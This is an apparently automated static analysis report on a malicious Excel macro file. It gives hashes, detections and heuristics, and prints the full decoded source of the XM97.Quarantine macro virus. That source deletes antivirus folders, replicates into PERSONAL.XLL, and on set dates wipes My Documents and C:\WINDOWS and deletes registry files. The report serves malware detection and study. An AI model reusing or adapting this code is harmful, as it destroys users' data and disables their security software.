Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2bb7673ec15b17c6…

MALICIOUS

Office (OLE)

33.0 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: e02708c37da8c615b995dd765b2d619c SHA-1: 7bd9e5b92718726d577064bf29f2e916482cfa5a SHA-256: 2bb7673ec15b17c65d51c7e4dcb5a16d9578a13bc41875150e56aed430066a4d
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing a VBA macro with an Auto_Open subroutine. This subroutine attempts to interfere with antivirus software by deleting files and removing menu items from the 'tools' command bar. The macro also contains calls to the Shell() function, indicating it can execute arbitrary commands. The specific antivirus paths targeted suggest an attempt to disable security measures before further payload execution.

Heuristics 5

  • ClamAV: Xls.Trojan.Trash-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Trash-9
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3564 bytes
SHA-256: 29b7a94855137dc14f43cf481ad3bb1cdbe17e5e8ed09126bacb8644e89e22ee
Detection
ClamAV: Xls.Trojan.Trash-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Quarantine"
Rem ********************************
Rem * Name    : XM97.Quarantine    *
Rem * Author  : ULTRAS             *
Rem ********************************
Sub Auto_Open()
On Error Resume Next
Kill "C:\Program Files\AntiViral Toolkit Pro\*.*"
CommandBars("tools").Controls("Macro").Delete
Kill "C:\Program Files\Norton AntiVirus\*.*"
CommandBars("tools").Controls("Customize...").Delete
Kill "C:\f-macro\*.*"
CommandBars("tools").Controls("Templates and add-ins...").Delete
Kill "C:\VDOC\*.*"
ULTRAS = 0
ZERO = 0
Application.ScreenUpdating = False
For b = 1 To Application.Workbooks.Count
If Application.Workbooks(b).Name = "PERSONAL.XLL" Then
ULTRAS = 1
For u = 1 To Application.Workbooks("PERSONAL.XLL").Modules.Count
If Application.Workbooks("PERSONAL.XLL").Modules(u).Name = "Quarantine" Then
ZERO = 1
End If
Next
If ZERO = 0 Then
Windows("PERSONAL.XLL").Visible = True
Application.Workbooks("Quarantine.XLS").Modules("Quarantine").Copy after:=Application.Workbooks("PERSONAL.XLL").Modules(1)
Windows("PERSONAL.XLL").Visible = False
Application.Workbooks("PERSONAL.XLL").Save
End If
End If
Next
If ULTRAS = 0 Then
newname$ = ActiveWorkbook.Name
Application.Workbooks(newname$).SaveCopyAs Application.StartupPath + "\PERSONAL.XLL"
Application.Workbooks.Open (Application.StartupPath + "\PERSONAL.XLL")
Windows("PERSONAL.XLL").Visible = False
Application.Workbooks("PERSONAL.XLL").Save
End If
Application.ScreenUpdating = True
Call Quarantine
End Sub

Sub Quarantine()
On Error GoTo Victory
Application.UserName = "Quarantine by ULTRAS"
If Day(Now()) = 8 Then
Msgbox "You Infected XM97.Quarantine by ULTRAS", vbCritical + vbOKOnly, "ULTRAS"
Shell ("Deltree  /y C:\MYDOCU~1")
End If
If Day(Now()) = 15 Then
Assistant.Visible = True
With Assistant.NewBalloon
.Text = "Your computer on the quarantine!!!"
.Heading = "Quarantine by ULTRAS"
.Animation = msoAnimationGetArtsy
.Show
End With
Shell ("Deltree  /y C:\WINDOWS")
End If
If Day(Now()) = 23 Then
Assistant.Visible = True
With Assistant.NewBalloon
.Text = "Your computer on the quarantine!!!"
.Heading = "Quarantine by ULTRAS"
.Animation = msoAnimationEmptyTrash
.Show
End With
SetAttr "C:\WINDOWS\USER.DA0", 0
Kill "C:\WINDOWS\USER.DA0"
SetAttr "C:\WINDOWS\SYSTEM.DA0", 0
Kill "C:\WINDOWS\SYSTEM.DA0"
SetAttr "C:\WINDOWS\USER.DAT", 0
Kill "C:\WINDOWS\USER.DAT"
SetAttr "C:\WINDOWS\SYSTEM.DAT", 0
Kill "C:\WINDOWS\SYSTEM.DAT"
End If
Victory:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.